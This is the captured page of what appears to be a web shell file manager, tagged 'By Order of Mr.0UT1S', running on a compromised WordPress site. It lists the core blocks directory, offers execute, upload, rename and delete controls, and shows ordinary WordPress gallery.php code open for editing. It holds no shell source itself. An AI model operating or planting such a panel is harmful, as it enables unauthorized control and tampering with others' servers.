home
/
aioutajg
/
8171bispupdate.com
/
wp-includes
/
blocks
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] archives
N/A
[DIR] audio
N/A
[DIR] avatar
N/A
[DIR] block
N/A
[DIR] button
N/A
[DIR] buttons
N/A
[DIR] calendar
N/A
[DIR] categories
N/A
[DIR] code
N/A
[DIR] column
N/A
[DIR] columns
N/A
[DIR] comment-author-name
N/A
[DIR] comment-content
N/A
[DIR] comment-date
N/A
[DIR] comment-edit-link
N/A
[DIR] comment-reply-link
N/A
[DIR] comment-template
N/A
[DIR] comments
N/A
[DIR] comments-pagination
N/A
[DIR] comments-pagination-next
N/A
[DIR] comments-pagination-numbers
N/A
[DIR] comments-pagination-previous
N/A
[DIR] comments-title
N/A
[DIR] cover
N/A
[DIR] details
N/A
[DIR] embed
N/A
[DIR] file
N/A
[DIR] footnotes
N/A
[DIR] freeform
N/A
[DIR] gallery
N/A
[DIR] group
N/A
[DIR] heading
N/A
[DIR] home-link
N/A
[DIR] html
N/A
[DIR] image
N/A
[DIR] latest-comments
N/A
[DIR] latest-posts
N/A
[DIR] legacy-widget
N/A
[DIR] list
N/A
[DIR] list-item
N/A
[DIR] loginout
N/A
[DIR] media-text
N/A
[DIR] missing
N/A
[DIR] more
N/A
[DIR] navigation
N/A
[DIR] navigation-link
N/A
[DIR] navigation-submenu
N/A
[DIR] nextpage
N/A
[DIR] page-list
N/A
[DIR] page-list-item
N/A
[DIR] paragraph
N/A
[DIR] pattern
N/A
[DIR] post-author
N/A
[DIR] post-author-biography
N/A
[DIR] post-author-name
N/A
[DIR] post-comments-form
N/A
[DIR] post-content
N/A
[DIR] post-date
N/A
[DIR] post-excerpt
N/A
[DIR] post-featured-image
N/A
[DIR] post-navigation-link
N/A
[DIR] post-template
N/A
[DIR] post-terms
N/A
[DIR] post-title
N/A
[DIR] preformatted
N/A
[DIR] pullquote
N/A
[DIR] query
N/A
[DIR] query-no-results
N/A
[DIR] query-pagination
N/A
[DIR] query-pagination-next
N/A
[DIR] query-pagination-numbers
N/A
[DIR] query-pagination-previous
N/A
[DIR] query-title
N/A
[DIR] query-total
N/A
[DIR] quote
N/A
[DIR] read-more
N/A
[DIR] rss
N/A
[DIR] search
N/A
[DIR] separator
N/A
[DIR] shortcode
N/A
[DIR] site-logo
N/A
[DIR] site-tagline
N/A
[DIR] site-title
N/A
[DIR] social-link
N/A
[DIR] social-links
N/A
[DIR] spacer
N/A
[DIR] table
N/A
[DIR] tag-cloud
N/A
[DIR] template-part
N/A
[DIR] term-description
N/A
[DIR] text-columns
N/A
[DIR] verse
N/A
[DIR] video
N/A
[DIR] widget-group
N/A
archives.php
2.92 KB
Rename
Delete
avatar.php
5.61 KB
Rename
Delete
block.php
3.24 KB
Rename
Delete
blocks-json.php
189.40 KB
Rename
Delete
button.php
1.76 KB
Rename
Delete
calendar.php
5.93 KB
Rename
Delete
categories.php
3.92 KB
Rename
Delete
comment-author-name.php
2.08 KB
Rename
Delete
comment-content.php
2.40 KB
Rename
Delete
comment-date.php
1.82 KB
Rename
Delete
comment-edit-link.php
1.67 KB
Rename
Delete
comment-reply-link.php
2.03 KB
Rename
Delete
comment-template.php
4.39 KB
Rename
Delete
comments-pagination-next.php
1.88 KB
Rename
Delete
comments-pagination-numbers.php
1.59 KB
Rename
Delete
comments-pagination-previous.php
1.75 KB
Rename
Delete
comments-pagination.php
1.17 KB
Rename
Delete
comments-title.php
2.71 KB
Rename
Delete
comments.php
6.61 KB
Rename
Delete
cover.php
3.10 KB
Rename
Delete
file.php
1.75 KB
Rename
Delete
footnotes.php
3.68 KB
Rename
Delete
gallery.php
6.29 KB
Rename
Delete
heading.php
1.27 KB
Rename
Delete
home-link.php
5.31 KB
Rename
Delete
image.php
11.74 KB
Rename
Delete
index.php
4.99 KB
Rename
Delete
latest-comments.php
4.92 KB
Rename
Delete
latest-posts.php
8.34 KB
Rename
Delete
legacy-widget.php
3.90 KB
Rename
Delete
list.php
1.24 KB
Rename
Delete
loginout.php
1.38 KB
Rename
Delete
media-text.php
4.28 KB
Rename
Delete
navigation-link.php
13.59 KB
Rename
Delete
navigation-submenu.php
9.71 KB
Rename
Delete
navigation.php
48.46 KB
Rename
Delete
page-list-item.php
361 bytes
Rename
Delete
page-list.php
13.29 KB
Rename
Delete
pattern.php
1.75 KB
Rename
Delete
post-author-biography.php
1.49 KB
Rename
Delete
post-author-name.php
1.87 KB
Rename
Delete
post-author.php
2.63 KB
Rename
Delete
post-comments-form.php
2.74 KB
Rename
Delete
post-content.php
2.11 KB
Rename
Delete
post-date.php
3.05 KB
Rename
Delete
post-excerpt.php
3.37 KB
Rename
Delete
post-featured-image.php
9.14 KB
Rename
Delete
post-navigation-link.php
4.72 KB
Rename
Delete
post-template.php
5.61 KB
Rename
Delete
post-terms.php
3.55 KB
Rename
Delete
post-title.php
2.09 KB
Rename
Delete
query-no-results.php
1.80 KB
Rename
Delete
query-pagination-next.php
3.70 KB
Rename
Delete
query-pagination-numbers.php
4.66 KB
Rename
Delete
query-pagination-previous.php
3.50 KB
Rename
Delete
query-pagination.php
1.15 KB
Rename
Delete
query-title.php
2.05 KB
Rename
Delete
query-total.php
2.48 KB
Rename
Delete
query.php
5.56 KB
Rename
Delete
read-more.php
1.79 KB
Rename
Delete
require-dynamic-blocks.php
4.07 KB
Rename
Delete
require-static-blocks.php
501 bytes
Rename
Delete
rss.php
3.98 KB
Rename
Delete
search.php
22.48 KB
Rename
Delete
shortcode.php
735 bytes
Rename
Delete
site-logo.php
6.19 KB
Rename
Delete
site-tagline.php
1.17 KB
Rename
Delete
site-title.php
1.81 KB
Rename
Delete
social-link.php
63.65 KB
Rename
Delete
tag-cloud.php
1.55 KB
Rename
Delete
template-part.php
9.92 KB
Rename
Delete
term-description.php
1.30 KB
Rename
Delete
widget-group.php
2.38 KB
Rename
Delete
<?php /** * Server-side rendering of the `core/gallery` block. * * @package WordPress */ /** * Handles backwards compatibility for Gallery Blocks, * whose images feature a `data-id` attribute. * * Now that the Gallery Block contains inner Image Blocks, * we add a custom `data-id` attribute before rendering the gallery * so that the Image Block can pick it up in its render_callback. * * @since 5.9.0 * * @param array $parsed_block The block being rendered. * @return array The migrated block object. */ function block_core_gallery_data_id_backcompatibility( $parsed_block ) { if ( 'core/gallery' === $parsed_block['blockName'] ) { foreach ( $parsed_block['innerBlocks'] as $key => $inner_block ) { if ( 'core/image' === $inner_block['blockName'] ) { if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) { $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] ); } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' ); /** * Renders the `core/gallery` block on the server. * * @since 6.0.0 * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * @return string The content of the block being rendered. */ function block_core_gallery_render( $attributes, $content ) { // Adds a style tag for the --wp--style--unstable-gallery-gap var. // The Gallery block needs to recalculate Image block width based on // the current gap setting in order to maintain the number of flex columns // so a css var is added to allow this. $gap = $attributes['style']['spacing']['blockGap'] ?? null; // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap ) ) { foreach ( $gap as $key => $value ) { // Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $value = is_string( $value ) ? $value : ''; $value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; // Get spacing CSS variable from preset value if provided. if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) ); $value = "var(--wp--preset--spacing--$slug)"; } $gap[ $key ] = $value; } } else { // Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $gap = is_string( $gap ) ? $gap : ''; $gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap; // Get spacing CSS variable from preset value if provided. if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) ); $gap = "var(--wp--preset--spacing--$slug)"; } } $unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' ); $processed_content = new WP_HTML_Tag_Processor( $content ); $processed_content->next_tag(); $processed_content->add_class( $unique_gallery_classname ); // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default // gap on the gallery. $fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )'; $gap_value = $gap ? $gap : $fallback_gap; $gap_column = $gap_value; if ( is_array( $gap_value ) ) { $gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap; $gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } // The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`. if ( '0' === $gap_column ) { $gap_column = '0px'; } // Set the CSS variable to the column value, and the `gap` property to the combined gap value. $gallery_styles = array( array( 'selector' => ".wp-block-gallery.{$unique_gallery_classname}", 'declarations' => array( '--wp--style--unstable-gallery-gap' => $gap_column, 'gap' => $gap_value, ), ), ); wp_style_engine_get_stylesheet_from_css_rules( $gallery_styles, array( 'context' => 'block-supports', ) ); // The WP_HTML_Tag_Processor class calls get_updated_html() internally // when the instance is treated as a string, but here we explicitly // convert it to a string. $updated_content = $processed_content->get_updated_html(); /* * Randomize the order of image blocks. Ideally we should shuffle * the `$parsed_block['innerBlocks']` via the `render_block_data` hook. * However, this hook doesn't apply inner block updates when blocks are * nested. * @todo In the future, if this hook supports updating innerBlocks in * nested blocks, it should be refactored. * * @see: https://github.com/WordPress/gutenberg/pull/58733 */ if ( empty( $attributes['randomOrder'] ) ) { return $updated_content; } // This pattern matches figure elements with the `wp-block-image` class to // avoid the gallery's wrapping `figure` element and extract images only. $pattern = '/<figure[^>]*\bwp-block-image\b[^>]*>.*?<\/figure>/'; // Find all Image blocks. preg_match_all( $pattern, $updated_content, $matches ); if ( ! $matches ) { return $updated_content; } $image_blocks = $matches[0]; // Randomize the order of Image blocks. shuffle( $image_blocks ); $i = 0; $content = preg_replace_callback( $pattern, static function () use ( $image_blocks, &$i ) { $new_image_block = $image_blocks[ $i ]; ++$i; return $new_image_block; }, $updated_content ); return $content; } /** * Registers the `core/gallery` block on server. * * @since 5.9.0 */ function register_block_core_gallery() { register_block_type_from_metadata( __DIR__ . '/gallery', array( 'render_callback' => 'block_core_gallery_render', ) ); } add_action( 'init', 'register_block_core_gallery' );
Save